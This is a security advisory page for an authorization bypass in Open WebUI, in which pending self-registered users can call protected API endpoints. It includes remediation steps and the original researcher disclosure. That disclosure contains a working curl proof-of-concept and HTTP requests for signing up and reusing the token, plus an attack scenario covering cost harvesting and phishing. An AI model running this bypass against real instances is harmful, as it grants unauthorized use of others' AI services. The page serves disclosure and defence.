CVE-2026-44567: Open WebUI: auth bypass gives pending users full LLM access
GHSA-4vg5-rp28-gvjf HIGH CISA: TRACK*Open WebUI versions up to 0.1.123 contain a missing server-side authorization check that allows any self-registered user — regardless of their pending approval status — to immediately authenticate against all API endpoints using a valid JWT, including direct LLM inference queries. The vulnerability is trivially exploitable: an attacker registers an account, receives a JWT in the sign-up response, and calls protected endpoints without admin approval; the get_current_user() function validates token signature but never checks user role, and get_verified_user() (which does enforce role checks) was applied to only one endpoint at the time of discovery. While no public exploit exists and the vulnerability is not in CISA KEV, the CVSS 7.3 score, zero-barrier exploitation (no prior access required), and open-webui's history of 52 tracked CVEs make this a credible risk for any organization running Open WebUI with public sign-ups enabled. Upgrade to version 0.1.124 immediately, or disable public sign-ups as an interim workaround and audit server logs for API calls originating from pending-role JWT tokens.
What is the risk?
HIGH risk for any internet-exposed Open WebUI instance with sign-up enabled — which is the default configuration. Exploitation requires only network access and the ability to register an account, making this effectively a zero-privilege, zero-interaction attack. The affected surface is the entire regular-user API layer, not a single endpoint. Risk is substantially reduced for private deployments where self-registration is disabled or invite-only. The package's track record of 52 CVEs and a risk score of 38/100 signals a pattern of security debt that warrants heightened attention.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.1.123 | 0.1.124 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
PATCH
upgrade open-webui to version 0.1.124 or later immediately — this release replaces get_current_user() with get_verified_user() across all affected endpoints.
-
WORKAROUND (if patching is delayed): disable public sign-ups in the Admin settings panel to prevent new pending accounts from being created.
-
AUDIT
query your user database for accounts with role=pending and cross-reference against API access logs for any matching JWT activity — any hit indicates exploitation.
-
ROTATE
if exploitation is suspected, rotate the JWT signing secret to invalidate all outstanding tokens.
-
MONITOR
add an alert for authenticated API calls (non-401 responses) originating from pending-role accounts going forward.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44567?
Open WebUI versions up to 0.1.123 contain a missing server-side authorization check that allows any self-registered user — regardless of their pending approval status — to immediately authenticate against all API endpoints using a valid JWT, including direct LLM inference queries. The vulnerability is trivially exploitable: an attacker registers an account, receives a JWT in the sign-up response, and calls protected endpoints without admin approval; the get_current_user() function validates token signature but never checks user role, and get_verified_user() (which does enforce role checks) was applied to only one endpoint at the time of discovery. While no public exploit exists and the vulnerability is not in CISA KEV, the CVSS 7.3 score, zero-barrier exploitation (no prior access required), and open-webui's history of 52 tracked CVEs make this a credible risk for any organization running Open WebUI with public sign-ups enabled. Upgrade to version 0.1.124 immediately, or disable public sign-ups as an interim workaround and audit server logs for API calls originating from pending-role JWT tokens.
Is CVE-2026-44567 actively exploited?
No confirmed active exploitation of CVE-2026-44567 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44567?
1. PATCH: upgrade open-webui to version 0.1.124 or later immediately — this release replaces get_current_user() with get_verified_user() across all affected endpoints. 2. WORKAROUND (if patching is delayed): disable public sign-ups in the Admin settings panel to prevent new pending accounts from being created. 3. AUDIT: query your user database for accounts with role=pending and cross-reference against API access logs for any matching JWT activity — any hit indicates exploitation. 4. ROTATE: if exploitation is suspected, rotate the JWT signing secret to invalidate all outstanding tokens. 5. MONITOR: add an alert for authenticated API calls (non-401 responses) originating from pending-role accounts going forward.
What systems are affected by CVE-2026-44567?
This vulnerability affects the following AI/ML architecture patterns: Self-hosted LLM deployments, Model serving, AI chat interfaces.
What is the CVSS score for CVE-2026-44567?
CVE-2026-44567 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.23%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0021 Establish Accounts AML.T0034 Cost Harvesting AML.T0040 AI Model Inference API Access AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
# **CONFIDENTIAL** # Vulnerability Disclosure Analysis Documentation --- ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. | | 2 | **Date Submitted** | June 11, 2024 | | 3 | **Title** | Open WebUI Improper Authorization Control | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | 285 Improper Authorization | --- ## 4. High-level Summary There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context. --- ## 11. Technical Analysis The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`. ### Request ```http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60 { "name": "", "email": "bad_guy@korelogic.com", "password": "a" } ``` ### Response ```http HTTP/1.1 200 OK ... { "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "bad_guy@korelogic.com", "name": "", "role": "pending", "profile_image_url": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "token_type": "Bearer" } ``` An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI. With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response. ### Request ```http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs ``` ### Response ```http HTTP/1.1 200 OK ... { "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modified_at": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parent_model": "", "format": "gguf", "family": "llama", "families": ["llama"], "parameter_size": "141B", "quantization_level": "Q4_0" }, "urls": [0] }, ... ] } ``` The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180> As shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user. ```python @app.get("/api/tags") @app.get("/api/tags/{url_idx}") async def get_ollama_tags( url_idx: Optional[int] = None, user=Depends(get_current_user) ): if url_idx == None: models = await get_all_models() if app.state.MODEL_FILTER_ENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODEL_FILTER_LIST, models["models"], ) ) return models return models ``` This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user. The vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97> ```python def get_current_user( auth_token: HTTPAuthorizationCredentials = Depends(bearer_security), ): # auth by api key if auth_token.credentials.startswith("sk-"): return get_current_user_by_api_key(auth_token.credentials) # auth by jwt token data = decode_token(auth_token.credentials) if data != None and "id" in data: user = Users.get_user_by_id(data["id"]) if user is None: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.INVALID_TOKEN, ) return user else: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid. --- ## 12. Proof-of-Concept First, verify that an unauthenticated user receives `{"detail":"401 Unauthorized"}`: ```bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags' ``` The above curl command will return: `{"detail":"401 Unauthorized"}` as no Authorization Bearer token is provided. Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command. ```bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"') curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags' ``` Additionally the `"role":"pending"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`. --- ## 13. Mitigation Recommendation The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use. ```python def get_verified_user(user=Depends(get_current_user)): if user.role not in {"user", "admin"}: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.ACCESS_PROHIBITED, ) return user ``` Modify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.
Exploitation Scenario
An attacker discovers a publicly accessible Open WebUI instance via Shodan or passive DNS reconnaissance. They POST to /api/v1/auths/signup with any email and receive a JWT in the response bearing role=pending. Rather than waiting for admin approval (which is the intended workflow), they immediately use the JWT to call GET /ollama/api/tags, enumerate all loaded models including a 141B parameter Mixtral instance, and begin sending inference requests. In a cost-harvesting scenario, they run batch queries continuously to drain the organization's GPU budget. In a more targeted attack, they use LLM access to extract system prompt configurations, generate phishing content impersonating the victim organization, or probe for RAG-connected data sources through carefully crafted prompts.
Weaknesses (CWE)
CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
- [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui